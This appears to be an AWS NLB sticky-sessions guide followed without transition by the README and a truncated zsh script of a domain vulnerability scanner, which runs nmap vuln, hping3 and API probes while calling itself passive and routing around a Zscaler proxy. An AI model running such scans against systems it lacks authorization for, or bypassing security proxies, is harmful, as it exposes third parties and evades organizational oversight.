Stickiness.type = source_ip

Save changes and confirm the attributes are updated.

Step-by-Step via AWS CLI

```bash
aws elbv2 modify-target-group-attributes \
--target-group-arn arn:aws:elasticloadbalancing:region:acct:targetgroup/mytg/abc123 \
--attributes Key=stickiness.enabled,Value=true Key=stickiness.type,Value=source_ip

How to Verify:

aws elbv2 describe-target-group-attributes \
  --target-group-arn arn:aws:elasticloadbalancing:region:acct:targetgroup/mytg/abc123

Sample Output:

{
    "Attributes": [
        { "Key": "stickiness.enabled", "Value": "true" },
        { "Key": "stickiness.type", "Value": "source_ip" }
    ]
}

3. How NLB Stickiness Actually Works (Under the Hood)

The NLB’s flow hashing algorithm calculates a hash from several parameters, often the “five-tuple”:

<protocol, source IP, source port, destination IP, destination port>

The hash is used to choose a target. When stickiness is enabled, NLB remembers this mapping for some time (typically a few minutes to hours, depending on flow expiration).

Key Behavior Points:

If the same client connects again using the same IP and port, the hash matches == same backend target.
If any part of that tuple changes (e.g. client source port changes), the hash may change == client might hit a different target.
NLBs maintain this mapping in memory; if the NLB node restarts or fails over, the mapping is lost.
Sticky mappings can also be lost when cross-zone load balancing or target health status changes.

Not Cookie Based

Because NLBs don’t inspect HTTP traffic, there’s no cookie involved.
This means:

You can’t set session duration or expiry time like in ALB stickiness.
Stickiness only works as long as the same network path and source IP persist.

4. Known Limitations & Edge Cases

Sticky sessions on NLBs are helpful but brittle. Here’s what can go wrong:

Issue	Cause	Effect
Client source IP changes	NAT, VPN, mobile switching networks	Hash changes → new target
Different source port	Client opens multiple sockets or reconnects	Each connection may map differently
TLS termination at NLB	NLB terminates TLS	Stickiness not supported (only for TCP listeners)
Unhealthy target	Health check fails	Mapping breaks; NLB reroutes
Cross-zone load balancing toggled	Distribution rules change	May break existing sticky mappings
DNS round-robin at client	NLB has multiple IPs per AZ	Client DNS resolver may change NLB node
UDP behavior	Stateless packets; different flow hash	Stickiness unreliable for UDP
Scaling up/down	New targets added	Hash table rebalanced; some clients remapped

Tip: If you rely on stickiness, keep your clients stable (same IP) and avoid frequent target registration changes.

5. Troubleshooting Sticky Session Problems

When things go wrong, these are the most common patterns you’ll see:

1. “Stickiness not working”

Check target group attributes: aws elbv2 describe-target-group-attributes --target-group-arn <arn> Ensure stickiness.enabled is true.
Make sure your listener protocol is TCP, not TLS.
Confirm that client IPs aren’t being rewritten by NAT or proxy.
Check CloudWatch metrics. If one target gets all the traffic, stickiness might be too “sticky” due to limited source IP variety.

2. “Some clients lose session state randomly”

Verify client network stability. Mobile clients or corporate proxies can rotate IPs.
Confirm health checks aren’t flapping targets.
Review your application session design, if session data lives in memory, consider an external session store (Redis, DynamoDB, etc.).

3. “Load imbalance: one instance overloaded”

This can happens when many users share one public IP (common in offices or ISPs).
All those clients hash to the same backend.
Mitigate by:
- Disabling stickiness if not strictly required.
- Using ALB with cookie based stickiness (more granular).
- Scaling target capacity.

4. “Connections drop after some time”

NLB may remove stale flow mappings.
Check TCP keepalive settings on clients and targets. Ensure keepalive_time < NLB idle timeout (350 seconds) to prevent connection resets. Linux commands below:

# Check keepalive time (seconds before sending first keepalive probe)
sysctl net.ipv4.tcp_keepalive_time

# Check keepalive interval (seconds between probes)
sysctl net.ipv4.tcp_keepalive_intvl

# Check keepalive probes (number of probes before giving up)
sysctl net.ipv4.tcp_keepalive_probes

# View all at once
sysctl -a | grep tcp_keepalive

Verify idle timeout on backend apps (e.g., web servers closing connections too early).

6. Observability & Testing

You can validate sticky behavior with:

CloudWatch metrics:
ActiveFlowCount, NewFlowCount, and per target request metrics.
VPC Flow Logs: confirm that repeated requests from the same client IP go to the same backend ENI.
Packet captures: Use tcpdump or ss on your backend instances to see if the same source IP consistently connects.

Quick test with curl:

for i in {1..100}; do 
    echo "=== Request $i at $(date) ===" | tee -a curl_test.log
    curl http://<nlb-dns-name>/ -v 2>&1 | tee -a curl_test.log
    sleep 0.5
done

Run it from the same host and check which backend responds (log hostname on each instance).
Then try from another IP or VPN; you’ll likely see a different target.

7. Best Practices

Only enable stickiness if necessary.
Stateless applications scale better without it.
If using TLS: terminate TLS at the backend or use ALB if you need session affinity.
Use shared session stores.
Tools like ElastiCache (Redis) or DynamoDB make scaling simpler and safer.
Avoid toggling cross-zone load balancing during traffic, it resets the sticky map.
Set up proper health checks. Unhealthy targets break affinity immediately.
Monitor uneven load. Large NAT’d user groups can overload a single instance.
For UDP consider designing idempotent stateless processing; sticky sessions may not behave reliably.

8. Example Architecture Pattern

Scenario: A multiplayer game server behind an NLB.
Each player connects via TCP to the game backend that stores their in-memory state.

✅ Recommended setup:

Enable stickiness.enabled = true and stickiness.type = source_ip
Disable TLS termination at NLB
Keep targets in the same AZ with cross-zone load balancing disabled to maintain stable mapping
Maintain external health and scaling logic to avoid frequent re-registrations

This setup ensures that the same player IP always lands on the same backend server, as long as their network path is stable.

9. Summary Table

Attribute	Supported Value	Notes
`stickiness.enabled`	true / false	Enables sticky sessions
`stickiness.type`	source_ip	Only option for NLB
Supported Protocols	TCP, UDP (limited)	Not supported for TLS listeners
Persistence Duration	Until flow reset	Not configurable
Cookie-based Stickiness	❌ No	Use ALB for cookie-based
Best for	Stateful TCP apps	e.g. games, custom protocols

10. When to Use ALB Instead

If you’re dealing with HTTP/HTTPS applications that manage user sessions via cookies or tokens, you’ll be much happier using an Application Load Balancer.
It offers:

Configurable cookie duration
Per application stickiness
Layer 7 routing and metrics

The NLB should be reserved for high performance, low latency, or non HTTP workloads that need raw TCP/UDP handling.

11. Closing Thoughts

AWS NLB sticky sessions are a great feature, but they’re not magic glue.
They work well when your network topology and client IPs are predictable, and your app genuinely needs flow affinity. However, if your environment involves NATs, mobile networks, or frequent scale-ups, expect surprises.

When in doubt:
1. Keep your app stateless,
2. Let the load balancer do its job, and
3. Use stickiness only as a last resort for legacy or session bound systems.

🧩 References

AWS Docs: NLB Target Group Stickiness
AWS Prescriptive Guidance: Load Balancer Stickiness Strategies
AWS re:Post — NLB Sticky Sessions Explained
Cloudar Blog: “Why AWS NLB Stickiness Is Not Always Sticky”

Macbook: Enhanced Domain Vulnerability Scanner

Below is a fairly comprehensive passive penetration testing script with vulnerability scanning, API testing, and detailed reporting.

Features

DNS & SSL/TLS Analysis – Complete DNS enumeration, certificate inspection, cipher analysis
Port & Vulnerability Scanning – Service detection, NMAP vuln scripts, outdated software detection
Subdomain Discovery – Certificate transparency log mining
API Security Testing – Endpoint discovery, permission testing, CORS analysis
Asset Discovery – Web technology detection, CMS identification
Firewall Testing – hping3 TCP/ICMP tests (if available)
Network Bypass – Uses en0 interface to bypass Zscaler
Debug Mode – Comprehensive logging enabled by default

Installation

Required Dependencies

# macOS
brew install nmap openssl bind curl jq

# Linux
sudo apt-get install nmap openssl dnsutils curl jq

Optional Dependencies

# macOS
brew install hping

# Linux
sudo apt-get install hping3 nikto

Usage

Basic Syntax

./security_scanner_enhanced.sh -d DOMAIN [OPTIONS]

Options

-d DOMAIN – Target domain (required)
-s – Enable subdomain scanning
-m NUM – Max subdomains to scan (default: 10)
-v – Enable vulnerability scanning
-a – Enable API discovery and testing
-h – Show help

Examples:

# Basic scan
./security_scanner_enhanced.sh -d example.com

# Full scan with all features
./security_scanner_enhanced.sh -d example.com -s -m 20 -v -a

# Vulnerability assessment only
./security_scanner_enhanced.sh -d example.com -v

# API security testing
./security_scanner_enhanced.sh -d example.com -a

Network Configuration

Default Interface: en0 (bypasses Zscaler)

To change the interface, edit line 24:

NETWORK_INTERFACE="en0"  # Change to your interface

The script automatically falls back to default routing if the interface is unavailable.

Debug Mode

Debug mode is enabled by default and shows:

Dependency checks
Network interface status
Command execution details
Scan progress
File operations

Debug messages appear in cyan with [DEBUG] prefix.

To disable, edit line 27:

DEBUG=false

Output

Each scan creates a timestamped directory: scan_example.com_20251016_191806/

Key Files

executive_summary.md – High-level findings
technical_report.md – Detailed technical analysis
vulnerability_report.md – Vulnerability assessment (if -v used)
api_security_report.md – API security findings (if -a used)
dns_*.txt – DNS records
ssl_*.txt – SSL/TLS analysis
port_scan_*.txt – Port scan results
subdomains_discovered.txt – Found subdomains (if -s used)

Scan Duration

Scan Type	Duration
Basic	2-5 min
With subdomains	+1-2 min/subdomain
With vulnerabilities	+10-20 min
Full scan	15-30 min

Troubleshooting

Missing dependencies

# Install required tools
brew install nmap openssl bind curl jq  # macOS
sudo apt-get install nmap openssl dnsutils curl jq  # Linux

Interface not found

# Check available interfaces
ifconfig

# Script will automatically fall back to default routing

Permission errors

# Some scans may require elevated privileges
sudo ./security_scanner_enhanced.sh -d example.com

Configuration

Change scan ports (line 325)

# Default: top 1000 ports
--top-ports 1000

# Custom ports
-p 80,443,8080,8443

# All ports (slow)
-p-

Adjust subdomain limit (line 1162)

MAX_SUBDOMAINS=10  # Change as needed

Add custom API paths (line 567)

API_PATHS=(
    "/api"
    "/api/v1"
    "/custom/endpoint"  # Add yours
)

Security & Legal

⚠️ WARNING: Only scan domains you own or have explicit permission to test. Unauthorized scanning may be illegal.

This tool performs passive reconnaissance only:

✅ DNS queries, certificate logs, public web requests
❌ No exploitation, brute force, or denial of service

Best Practices

Obtain proper authorization before scanning
Monitor progress via debug output
Review all generated reports
Prioritize findings by risk
Schedule follow-up scans after remediation

Disclaimer: This tool is for authorized security testing only. The authors assume no liability for misuse or damage.

The Script:

cat > ./security_scanner_enhanced.sh << 'EOF'
#!/bin/zsh

################################################################################
# Enhanced Security Scanner Script v2.0
# Comprehensive security assessment with vulnerability scanning
# Includes: NMAP vuln scripts, hping3, asset discovery, API testing
# Network Interface: en0 (bypasses Zscaler)
# Debug Mode: Enabled
################################################################################

# Color codes for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
MAGENTA='\033[0;35m'
CYAN='\033[0;36m'
NC='\033[0m' # No Color

# Script version
VERSION="2.0.1"

# Network interface to use (bypasses Zscaler)
NETWORK_INTERFACE="en0"

# Debug mode flag
DEBUG=true

################################################################################
# Usage Information
################################################################################
usage() {
    cat << EOF
Enhanced Security Scanner v${VERSION}

Usage: $0 -d DOMAIN [-s] [-m MAX_SUBDOMAINS] [-v] [-a]

Options:
    -d DOMAIN           Target domain to scan (required)
    -s                  Scan subdomains (optional)
    -m MAX_SUBDOMAINS   Maximum number of subdomains to scan (default: 10)
    -v                  Enable vulnerability scanning (NMAP vuln scripts)
    -a                  Enable API discovery and testing
    -h                  Show this help message

Network Configuration:
    Interface: $NETWORK_INTERFACE (bypasses Zscaler)
    Debug Mode: Enabled

Examples:
    $0 -d example.com
    $0 -d example.com -s -m 20 -v
    $0 -d example.com -s -v -a

EOF
    exit 1
}

################################################################################
# Logging Functions
################################################################################
log_info() {
    echo -e "${BLUE}[INFO]${NC} $1"
}

log_success() {
    echo -e "${GREEN}[SUCCESS]${NC} $1"
}

log_warning() {
    echo -e "${YELLOW}[WARNING]${NC} $1"
}

log_error() {
    echo -e "${RED}[ERROR]${NC} $1"
}

log_vuln() {
    echo -e "${MAGENTA}[VULN]${NC} $1"
}

log_debug() {
    if [ "$DEBUG" = true ]; then
        echo -e "${CYAN}[DEBUG]${NC} $1"
    fi
}

################################################################################
# Check Dependencies
################################################################################
check_dependencies() {
    log_info "Checking dependencies..."
    log_debug "Starting dependency check"
    
    local missing_deps=()
    local optional_deps=()
    
    # Required dependencies
    log_debug "Checking for nmap..."
    command -v nmap >/dev/null 2>&1 || missing_deps+=("nmap")
    log_debug "Checking for openssl..."
    command -v openssl >/dev/null 2>&1 || missing_deps+=("openssl")
    log_debug "Checking for dig..."
    command -v dig >/dev/null 2>&1 || missing_deps+=("dig")
    log_debug "Checking for curl..."
    command -v curl >/dev/null 2>&1 || missing_deps+=("curl")
    log_debug "Checking for jq..."
    command -v jq >/dev/null 2>&1 || missing_deps+=("jq")
    
    # Optional dependencies
    log_debug "Checking for hping3..."
    command -v hping3 >/dev/null 2>&1 || optional_deps+=("hping3")
    log_debug "Checking for nikto..."
    command -v nikto >/dev/null 2>&1 || optional_deps+=("nikto")
    
    if [ ${#missing_deps[@]} -ne 0 ]; then
        log_error "Missing required dependencies: ${missing_deps[*]}"
        log_info "Install missing dependencies and try again"
        exit 1
    fi
    
    if [ ${#optional_deps[@]} -ne 0 ]; then
        log_warning "Missing optional dependencies: ${optional_deps[*]}"
        log_info "Some features may be limited"
    fi
    
    # Check network interface
    log_debug "Checking network interface: $NETWORK_INTERFACE"
    if ifconfig "$NETWORK_INTERFACE" >/dev/null 2>&1; then
        log_success "Network interface $NETWORK_INTERFACE is available"
        local interface_ip=$(ifconfig "$NETWORK_INTERFACE" | grep 'inet ' | awk '{print $2}')
        log_debug "Interface IP: $interface_ip"
    else
        log_warning "Network interface $NETWORK_INTERFACE not found, using default routing"
        NETWORK_INTERFACE=""
    fi
    
    log_success "All required dependencies found"
}

################################################################################
# Initialize Scan
################################################################################
initialize_scan() {
    log_debug "Initializing scan for domain: $DOMAIN"
    SCAN_DATE=$(date +"%Y-%m-%d %H:%M:%S")
    SCAN_DIR="scan_${DOMAIN}_$(date +%Y%m%d_%H%M%S)"
    
    log_debug "Creating scan directory: $SCAN_DIR"
    mkdir -p "$SCAN_DIR"
    cd "$SCAN_DIR" || exit 1
    
    log_success "Created scan directory: $SCAN_DIR"
    log_debug "Current working directory: $(pwd)"
    
    # Initialize report files
    EXEC_REPORT="executive_summary.md"
    TECH_REPORT="technical_report.md"
    VULN_REPORT="vulnerability_report.md"
    API_REPORT="api_security_report.md"
    
    log_debug "Initializing report files"
    > "$EXEC_REPORT"
    > "$TECH_REPORT"
    > "$VULN_REPORT"
    > "$API_REPORT"
    
    log_debug "Scan configuration:"
    log_debug "  - Domain: $DOMAIN"
    log_debug "  - Subdomain scanning: $SCAN_SUBDOMAINS"
    log_debug "  - Max subdomains: $MAX_SUBDOMAINS"
    log_debug "  - Vulnerability scanning: $VULN_SCAN"
    log_debug "  - API scanning: $API_SCAN"
    log_debug "  - Network interface: $NETWORK_INTERFACE"
}

################################################################################
# DNS Reconnaissance
################################################################################
dns_reconnaissance() {
    log_info "Performing DNS reconnaissance..."
    log_debug "Resolving domain: $DOMAIN"
    
    # Resolve domain to IP
    IP_ADDRESS=$(dig +short "$DOMAIN" | grep -E '^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$' | head -n1)
    
    if [ -z "$IP_ADDRESS" ]; then
        log_error "Could not resolve domain: $DOMAIN"
        log_debug "DNS resolution failed for $DOMAIN"
        exit 1
    fi
    
    log_success "Resolved $DOMAIN to $IP_ADDRESS"
    log_debug "Target IP address: $IP_ADDRESS"
    
    # Get comprehensive DNS records
    log_debug "Querying DNS records (ANY)..."
    dig "$DOMAIN" ANY > dns_records.txt 2>&1
    log_debug "Querying A records..."
    dig "$DOMAIN" A > dns_a_records.txt 2>&1
    log_debug "Querying MX records..."
    dig "$DOMAIN" MX > dns_mx_records.txt 2>&1
    log_debug "Querying NS records..."
    dig "$DOMAIN" NS > dns_ns_records.txt 2>&1
    log_debug "Querying TXT records..."
    dig "$DOMAIN" TXT > dns_txt_records.txt 2>&1
    
    # Reverse DNS lookup
    log_debug "Performing reverse DNS lookup for $IP_ADDRESS..."
    dig -x "$IP_ADDRESS" > reverse_dns.txt 2>&1
    
    echo "$IP_ADDRESS" > ip_address.txt
    log_debug "DNS reconnaissance complete"
}

################################################################################
# Subdomain Discovery
################################################################################
discover_subdomains() {
    if [ "$SCAN_SUBDOMAINS" = false ]; then
        log_info "Subdomain scanning disabled"
        log_debug "Skipping subdomain discovery"
        echo "0" > subdomain_count.txt
        return
    fi
    
    log_info "Discovering subdomains via certificate transparency..."
    log_debug "Querying crt.sh for subdomains of $DOMAIN"
    log_debug "Maximum subdomains to discover: $MAX_SUBDOMAINS"
    
    # Query crt.sh for subdomains
    curl -s "https://crt.sh/?q=%25.${DOMAIN}&output=json" | \
        jq -r '.[].name_value' | \
        sed 's/\*\.//g' | \
        sort -u | \
        grep -E "^[a-zA-Z0-9]([a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.${DOMAIN}$" | \
        head -n "$MAX_SUBDOMAINS" > subdomains_discovered.txt
    
    SUBDOMAIN_COUNT=$(wc -l < subdomains_discovered.txt)
    echo "$SUBDOMAIN_COUNT" > subdomain_count.txt
    
    log_success "Discovered $SUBDOMAIN_COUNT subdomains (limited to $MAX_SUBDOMAINS)"
    log_debug "Subdomains saved to: subdomains_discovered.txt"
}

################################################################################
# SSL/TLS Analysis
################################################################################
ssl_tls_analysis() {
    log_info "Analyzing SSL/TLS configuration..."
    log_debug "Connecting to ${DOMAIN}:443 for certificate analysis"
    
    # Get certificate details
    log_debug "Extracting certificate details..."
    echo | openssl s_client -connect "${DOMAIN}:443" -servername "$DOMAIN" 2>/dev/null | \
        openssl x509 -noout -text > certificate_details.txt 2>&1
    
    # Extract key information
    log_debug "Extracting certificate issuer..."
    CERT_ISSUER=$(echo | openssl s_client -connect "${DOMAIN}:443" -servername "$DOMAIN" 2>/dev/null | \
        openssl x509 -noout -issuer | sed 's/issuer=//')
    
    log_debug "Extracting certificate subject..."
    CERT_SUBJECT=$(echo | openssl s_client -connect "${DOMAIN}:443" -servername "$DOMAIN" 2>/dev/null | \
        openssl x509 -noout -subject | sed 's/subject=//')
    
    log_debug "Extracting certificate dates..."
    CERT_DATES=$(echo | openssl s_client -connect "${DOMAIN}:443" -servername "$DOMAIN" 2>/dev/null | \
        openssl x509 -noout -dates)
    
    echo "$CERT_ISSUER" > cert_issuer.txt
    echo "$CERT_SUBJECT" > cert_subject.txt
    echo "$CERT_DATES" > cert_dates.txt
    
    log_debug "Certificate issuer: $CERT_ISSUER"
    log_debug "Certificate subject: $CERT_SUBJECT"
    
    # Enumerate SSL/TLS ciphers
    log_info "Enumerating SSL/TLS ciphers..."
    log_debug "Running nmap ssl-enum-ciphers script on port 443"
    if [ -n "$NETWORK_INTERFACE" ]; then
        nmap --script ssl-enum-ciphers -p 443 "$DOMAIN" -e "$NETWORK_INTERFACE" -oN ssl_ciphers.txt > /dev/null 2>&1
    else
        nmap --script ssl-enum-ciphers -p 443 "$DOMAIN" -oN ssl_ciphers.txt > /dev/null 2>&1
    fi
    
    # Check for TLS versions
    log_debug "Analyzing TLS protocol versions..."
    TLS_12=$(grep -c "TLSv1.2" ssl_ciphers.txt || echo "0")
    TLS_13=$(grep -c "TLSv1.3" ssl_ciphers.txt || echo "0")
    TLS_10=$(grep -c "TLSv1.0" ssl_ciphers.txt || echo "0")
    TLS_11=$(grep -c "TLSv1.1" ssl_ciphers.txt || echo "0")
    
    echo "TLSv1.0: $TLS_10" > tls_versions.txt
    echo "TLSv1.1: $TLS_11" >> tls_versions.txt
    echo "TLSv1.2: $TLS_12" >> tls_versions.txt
    echo "TLSv1.3: $TLS_13" >> tls_versions.txt
    
    log_debug "TLS versions found - 1.0:$TLS_10 1.1:$TLS_11 1.2:$TLS_12 1.3:$TLS_13"
    
    # Check for SSL vulnerabilities
    log_info "Checking for SSL/TLS vulnerabilities..."
    log_debug "Running SSL vulnerability scripts (heartbleed, poodle, dh-params)"
    if [ -n "$NETWORK_INTERFACE" ]; then
        nmap --script ssl-heartbleed,ssl-poodle,ssl-dh-params -p 443 "$DOMAIN" -e "$NETWORK_INTERFACE" -oN ssl_vulnerabilities.txt > /dev/null 2>&1
    else
        nmap --script ssl-heartbleed,ssl-poodle,ssl-dh-params -p 443 "$DOMAIN" -oN ssl_vulnerabilities.txt > /dev/null 2>&1
    fi
    
    log_success "SSL/TLS analysis complete"
}

################################################################################
# Port Scanning with Service Detection
################################################################################
port_scanning() {
    log_info "Performing comprehensive port scan..."
    log_debug "Target IP: $IP_ADDRESS"
    log_debug "Using network interface: $NETWORK_INTERFACE"
    
    # Quick scan of top 1000 ports
    log_info "Scanning top 1000 ports..."
    log_debug "Running nmap with service version detection (-sV) and default scripts (-sC)"
    if [ -n "$NETWORK_INTERFACE" ]; then
        nmap -sV -sC --top-ports 1000 "$IP_ADDRESS" -e "$NETWORK_INTERFACE" -oN port_scan_top1000.txt > /dev/null 2>&1
    else
        nmap -sV -sC --top-ports 1000 "$IP_ADDRESS" -oN port_scan_top1000.txt > /dev/null 2>&1
    fi
    
    # Count open ports
    OPEN_PORTS=$(grep -c "^[0-9]*/tcp.*open" port_scan_top1000.txt || echo "0")
    echo "$OPEN_PORTS" > open_ports_count.txt
    log_debug "Found $OPEN_PORTS open ports"
    
    # Extract open ports list with versions
    log_debug "Extracting open ports list with service information"
    grep "^[0-9]*/tcp.*open" port_scan_top1000.txt | awk '{print $1, $3, $4, $5, $6}' > open_ports_list.txt
    
    # Detect service versions for old software
    log_info "Detecting service versions..."
    log_debug "Filtering service version information"
    grep "^[0-9]*/tcp.*open" port_scan_top1000.txt | grep -E "version|product" > service_versions.txt
    
    log_success "Port scan complete: $OPEN_PORTS open ports found"
}

################################################################################
# Vulnerability Scanning
################################################################################
vulnerability_scanning() {
    if [ "$VULN_SCAN" = false ]; then
        log_info "Vulnerability scanning disabled"
        log_debug "Skipping vulnerability scanning"
        return
    fi
    
    log_info "Performing vulnerability scanning (this may take 10-20 minutes)..."
    log_debug "Target: $IP_ADDRESS"
    log_debug "Using network interface: $NETWORK_INTERFACE"
    
    # NMAP vulnerability scripts
    log_info "Running NMAP vulnerability scripts..."
    log_debug "Starting comprehensive vulnerability scan on all ports (-p-)"
    if [ -n "$NETWORK_INTERFACE" ]; then
        nmap --script vuln -p- "$IP_ADDRESS" -e "$NETWORK_INTERFACE" -oN nmap_vuln_scan.txt > /dev/null 2>&1 &
    else
        nmap --script vuln -p- "$IP_ADDRESS" -oN nmap_vuln_scan.txt > /dev/null 2>&1 &
    fi
    VULN_PID=$!
    log_debug "Vulnerability scan PID: $VULN_PID"
    
    # Wait with progress indicator
    log_debug "Waiting for vulnerability scan to complete..."
    while kill -0 $VULN_PID 2>/dev/null; do
        echo -n "."
        sleep 5
    done
    echo
    
    # Parse vulnerability results
    if [ -f nmap_vuln_scan.txt ]; then
        log_debug "Parsing vulnerability scan results"
        grep -i "VULNERABLE" nmap_vuln_scan.txt > vulnerabilities_found.txt || echo "No vulnerabilities found" > vulnerabilities_found.txt
        VULN_COUNT=$(grep -c "VULNERABLE" nmap_vuln_scan.txt || echo "0")
        echo "$VULN_COUNT" > vulnerability_count.txt
        log_success "Vulnerability scan complete: $VULN_COUNT vulnerabilities found"
        log_debug "Vulnerability details saved to: vulnerabilities_found.txt"
    fi
    
    # Check for specific vulnerabilities
    log_info "Checking for common HTTP vulnerabilities..."
    log_debug "Running HTTP vulnerability scripts on ports 80,443,8080,8443"
    if [ -n "$NETWORK_INTERFACE" ]; then
        nmap --script http-vuln-* -p 80,443,8080,8443 "$IP_ADDRESS" -e "$NETWORK_INTERFACE" -oN http_vulnerabilities.txt > /dev/null 2>&1
    else
        nmap --script http-vuln-* -p 80,443,8080,8443 "$IP_ADDRESS" -oN http_vulnerabilities.txt > /dev/null 2>&1
    fi
    log_debug "HTTP vulnerability scan complete"
}

################################################################################
# hping3 Testing
################################################################################
hping3_testing() {
    if ! command -v hping3 >/dev/null 2>&1; then
        log_warning "hping3 not installed, skipping firewall tests"
        log_debug "hping3 command not found in PATH"
        return
    fi
    
    log_info "Performing hping3 firewall tests..."
    log_debug "Target: $IP_ADDRESS"
    log_debug "Using network interface: $NETWORK_INTERFACE"
    
    # TCP SYN scan
    log_info "Testing TCP SYN response..."
    log_debug "Sending 5 TCP SYN packets to port 80"
    if [ -n "$NETWORK_INTERFACE" ]; then
        timeout 10 hping3 -S -p 80 -c 5 -I "$NETWORK_INTERFACE" "$IP_ADDRESS" > hping3_syn.txt 2>&1 || true
    else
        timeout 10 hping3 -S -p 80 -c 5 "$IP_ADDRESS" > hping3_syn.txt 2>&1 || true
    fi
    log_debug "TCP SYN test complete"
    
    # TCP ACK scan (firewall detection)
    log_info "Testing firewall with TCP ACK..."
    log_debug "Sending 5 TCP ACK packets to port 80 for firewall detection"
    if [ -n "$NETWORK_INTERFACE" ]; then
        timeout 10 hping3 -A -p 80 -c 5 -I "$NETWORK_INTERFACE" "$IP_ADDRESS" > hping3_ack.txt 2>&1 || true
    else
        timeout 10 hping3 -A -p 80 -c 5 "$IP_ADDRESS" > hping3_ack.txt 2>&1 || true
    fi
    log_debug "TCP ACK test complete"
    
    # ICMP test
    log_info "Testing ICMP response..."
    log_debug "Sending 5 ICMP echo requests"
    if [ -n "$NETWORK_INTERFACE" ]; then
        timeout 10 hping3 -1 -c 5 -I "$NETWORK_INTERFACE" "$IP_ADDRESS" > hping3_icmp.txt 2>&1 || true
    else
        timeout 10 hping3 -1 -c 5 "$IP_ADDRESS" > hping3_icmp.txt 2>&1 || true
    fi
    log_debug "ICMP test complete"
    
    log_success "hping3 tests complete"
}

################################################################################
# Asset Discovery
################################################################################
asset_discovery() {
    log_info "Performing detailed asset discovery..."
    log_debug "Creating assets directory"
    
    mkdir -p assets
    
    # Web technology detection
    log_info "Detecting web technologies..."
    log_debug "Fetching HTTP headers from https://${DOMAIN}"
    curl -s -I "https://${DOMAIN}" | grep -i "server\|x-powered-by\|x-aspnet-version" > assets/web_technologies.txt
    log_debug "Web technologies saved to: assets/web_technologies.txt"
    
    # Detect CMS
    log_info "Detecting CMS and frameworks..."
    log_debug "Analyzing page content for CMS signatures"
    curl -s "https://${DOMAIN}" | grep -iE "wordpress|joomla|drupal|magento|shopify" > assets/cms_detection.txt || echo "No CMS detected" > assets/cms_detection.txt
    log_debug "CMS detection complete"
    
    # JavaScript libraries
    log_info "Detecting JavaScript libraries..."
    log_debug "Searching for common JavaScript libraries"
    curl -s "https://${DOMAIN}" | grep -oE "jquery|angular|react|vue|bootstrap" | sort -u > assets/js_libraries.txt || echo "None detected" > assets/js_libraries.txt
    log_debug "JavaScript libraries saved to: assets/js_libraries.txt"
    
    # Check for common files
    log_info "Checking for common files..."
    log_debug "Testing for robots.txt, sitemap.xml, security.txt, etc."
    for file in robots.txt sitemap.xml security.txt .well-known/security.txt humans.txt; do
        log_debug "Checking for: $file"
        if curl -s -o /dev/null -w "%{http_code}" "https://${DOMAIN}/${file}" | grep -q "200"; then
            echo "$file: Found" >> assets/common_files.txt
            log_debug "Found: $file"
            curl -s "https://${DOMAIN}/${file}" > "assets/${file//\//_}"
        fi
    done
    
    # Server fingerprinting
    log_info "Fingerprinting server..."
    log_debug "Running nmap HTTP server header and title scripts"
    if [ -n "$NETWORK_INTERFACE" ]; then
        nmap -sV --script http-server-header,http-title -p 80,443 "$IP_ADDRESS" -e "$NETWORK_INTERFACE" -oN assets/server_fingerprint.txt > /dev/null 2>&1
    else
        nmap -sV --script http-server-header,http-title -p 80,443 "$IP_ADDRESS" -oN assets/server_fingerprint.txt > /dev/null 2>&1
    fi
    
    log_success "Asset discovery complete"
}

################################################################################
# Old Software Detection
################################################################################
detect_old_software() {
    log_info "Detecting outdated software versions..."
    log_debug "Creating old_software directory"
    
    mkdir -p old_software
    
    # Parse service versions from port scan
    if [ -f service_versions.txt ]; then
        log_debug "Analyzing service versions for outdated software"
        
        # Check for old Apache versions
        log_debug "Checking for old Apache versions..."
        grep -i "apache" service_versions.txt | grep -E "1\.|2\.0|2\.2" > old_software/apache_old.txt || true
        
        # Check for old OpenSSH versions
        log_debug "Checking for old OpenSSH versions..."
        grep -i "openssh" service_versions.txt | grep -E "[1-6]\." > old_software/openssh_old.txt || true
        
        # Check for old PHP versions
        log_debug "Checking for old PHP versions..."
        grep -i "php" service_versions.txt | grep -E "[1-5]\." > old_software/php_old.txt || true
        
        # Check for old MySQL versions
        log_debug "Checking for old MySQL versions..."
        grep -i "mysql" service_versions.txt | grep -E "[1-4]\." > old_software/mysql_old.txt || true
        
        # Check for old nginx versions
        log_debug "Checking for old nginx versions..."
        grep -i "nginx" service_versions.txt | grep -E "0\.|1\.0|1\.1[0-5]" > old_software/nginx_old.txt || true
    fi
    
    # Check SSL/TLS for old versions
    if [ "$TLS_10" -gt 0 ] || [ "$TLS_11" -gt 0 ]; then
        log_debug "Outdated TLS protocols detected"
        echo "Outdated TLS protocols detected: TLSv1.0 or TLSv1.1" > old_software/tls_old.txt
    fi
    
    # Count old software findings
    OLD_SOFTWARE_COUNT=$(find old_software -type f ! -empty | wc -l)
    echo "$OLD_SOFTWARE_COUNT" > old_software_count.txt
    
    if [ "$OLD_SOFTWARE_COUNT" -gt 0 ]; then
        log_warning "Found $OLD_SOFTWARE_COUNT outdated software components"
        log_debug "Outdated software details saved in old_software/ directory"
    else
        log_success "No obviously outdated software detected"
    fi
}

################################################################################
# API Discovery
################################################################################
api_discovery() {
    if [ "$API_SCAN" = false ]; then
        log_info "API scanning disabled"
        log_debug "Skipping API discovery"
        return
    fi
    
    log_info "Discovering APIs..."
    log_debug "Creating api_discovery directory"
    
    mkdir -p api_discovery
    
    # Common API paths
    API_PATHS=(
        "/api"
        "/api/v1"
        "/api/v2"
        "/rest"
        "/graphql"
        "/swagger"
        "/swagger.json"
        "/api-docs"
        "/openapi.json"
        "/.well-known/openapi"
    )
    
    log_debug "Testing ${#API_PATHS[@]} common API endpoints"
    for path in "${API_PATHS[@]}"; do
        log_debug "Testing: $path"
        HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" "https://${DOMAIN}${path}")
        if [ "$HTTP_CODE" != "404" ]; then
            echo "$path: HTTP $HTTP_CODE" >> api_discovery/endpoints_found.txt
            log_debug "Found API endpoint: $path (HTTP $HTTP_CODE)"
            curl -s "https://${DOMAIN}${path}" > "api_discovery/${path//\//_}.txt" 2>/dev/null || true
        fi
    done
    
    # Check for API documentation
    log_info "Checking for API documentation..."
    log_debug "Testing for Swagger UI and API docs"
    curl -s "https://${DOMAIN}/swagger-ui" > api_discovery/swagger_ui.txt 2>/dev/null || true
